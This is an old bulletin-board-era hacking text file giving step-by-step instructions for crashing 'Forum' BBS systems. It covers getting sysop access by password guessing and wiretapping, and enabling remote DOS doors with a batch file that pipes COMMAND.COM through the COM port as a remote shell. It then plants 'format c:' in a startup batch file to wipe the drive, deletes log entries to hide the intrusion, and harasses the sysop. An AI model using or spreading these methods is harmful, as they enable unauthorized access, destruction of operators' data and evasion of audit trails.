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* CRASHING ->FORUM<- BOARDS! *
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* TYPED BY: *
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*%$%$%$%$%$%$%$%$%$%$%$%$%$<< PINK PANTHER >>$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%*
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-> How to kill or crash forum boards.
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Believe or not forum boards can be the easiest boards to crash. Some people
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think otherwise, but here are some tips.
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First of all you need sysop access (real sysop access). I'll leave
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that up to your hacking techniques. Notice you can log on as a user and use
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the 'X' command to transfer to another user. The system will give you 3 tries
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at the password, but if you don't get it right it will not hang up on you
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and the best part is that it does not record what happens in the system
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log even if you enter the wrong password. The only thing that is recorded
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in the system log is if you successfully transfered to a user. The
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sysop user number is ALWAYS 1. Another method is to hook up a tape
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recorder to the fone line of the sysop's house and wait for someone
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to log on who has some good access. Then take the tape recorder
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and hook it up to your line and play it back. You then can discipher
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who the user is and his password.
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Once you have gotten sysop access (real sysop access) go into the
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transfer section. Use '%' to get to the sponsor/sysop menu and find
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out where the files that I am about to list are by using the 'F' command
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to look at directories. Once you have found them, add them by 'A'.
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Ok, here are the files to find and add in this order.
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syslog. { usually in Forum directory }
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config.dat { " " " " }
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config.bbs { " " " " }
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config.com { " " " " }
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keepup.bat { " " " " }
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autoexec.bat { " in root directory }
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config.sys { " " " " }
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Now go and download all these files. Once you have these, upload the
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file format.com from your dos disk. Now you need to do some searching to find
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out if the board has a doors section (this is standard on all forum
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systems, but some sysops take it out all together). All you have to make
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sure is that there are doors (whether you have access to them or not).
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If they do, this is what you do. Run config.com and look through the
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options to you find an option that says 'Allows remote door operation'
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and 'Allow doors at all' and put yes for both of them. Also note what com
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port the system is using, you will need it later. Save the file by
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'S' and then use '%' to get into the sponsor/sysop menu and delete
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the file config.bbs from both the file section and the disk. Now quit
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and make an area by chosing a section that is not there (if the highest
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file section is numbered 10, then type '*11' to create a file section 11)
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and follow the questions. Put the file directory as the directory where you
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found config.bbs. Now upload config.bbs into that area. Disconnect
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and call back (this allows it to get out of forum and read the new
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configuration file again).
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Once you are on again, get sysop access and create a dos door, by using
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'%' to get sysop access to the door section and add a door, answering
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all questions (enter a valid batch file, but make sure it does not
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exist on the drive). When it says batch file not found it should give
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you some lines to type out a batch file. For the batch file use this.
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Echo Jumping into DOS now! > COM1 { COM2 if it's using the second port }
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Echo Type EXIT when you are done. DO NOT HANG UP! > COM1
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C:\COMMAND <COM1 >COM1
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Echo Going back to Forum! > COM1
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C: { Substitute drive forum is running on }
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CD\FORUM { Forum directory, change if needed }
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Go and open the door and you will be in DOS.
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Now go find out where you uploaded format.com and run that file.
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Just wait and sit until it formats the disk. After, hangup
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and the board has now disappeared into the thin air (no trace of you).
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What to do if the sysop has taken out the doors? If so, then you need to
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edit the file keepup.bat. On the first line, put in the following.
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echo CR | c:\forum\new\format c: { change the directory if necessary,
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it should be the directory that you
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uploaded format.com in }
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Now delete the old keepup.bat by using the sponsor/sysop menu
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and 'D'. Go into the area that you created (this should be the area that
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the old keepup.bat was in) and now upload this new keepup.bat. Hang up
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and now it will exit forum and go into keepup.bat executing the
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format command which will format the drive.
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If you just wanted to teach the sysop a lesson, you only need
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to delete what you can manually (killing sub-boards, file areas,
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files, etc). And for a final crash - if the board has external protocols
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you can send the system into an eternal crash by trying to upload or
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download and aborting at the right time (takes a little practice, but
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you will know when it has crashed when you see no prompt after aborting).
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Now if you want to start messing with minds, there are several things
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you can do. First of all you have to remember to delete the system
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log when you are done, or better yet if you know a little pascal
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and have forum source code in your hands, you can create a little
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program that reads the system log and takes out the last couple of
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entries. You can always mess with the autoexec.bat and always delete
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the old one and upload the new one in it's place. If you want
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to put a device driver in, you have config.sys to do that.
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Of course, these are software techniques, there are other drastic
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techniques, such as blowing up modems, but that's if you really serious.
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Another little tip. If a sysop's chat is off, there is still another
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way to annoy him. Create a file full of chr(7) (you can use ALT-7 in
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some wordprocessors such as QEDIT which will produce a funny
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character). Make the file pretty large and ascii upload it, then go
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and download it. It will make the sysop's bell ring (provided that he
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doesn't have a speaker switch). If the system does not allow ascii
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uploads, then upload it by protocols and download by typing the
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file ('T'). It will have the same affect.
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Happy Crashing and I don't take no responsibility for other's actions.
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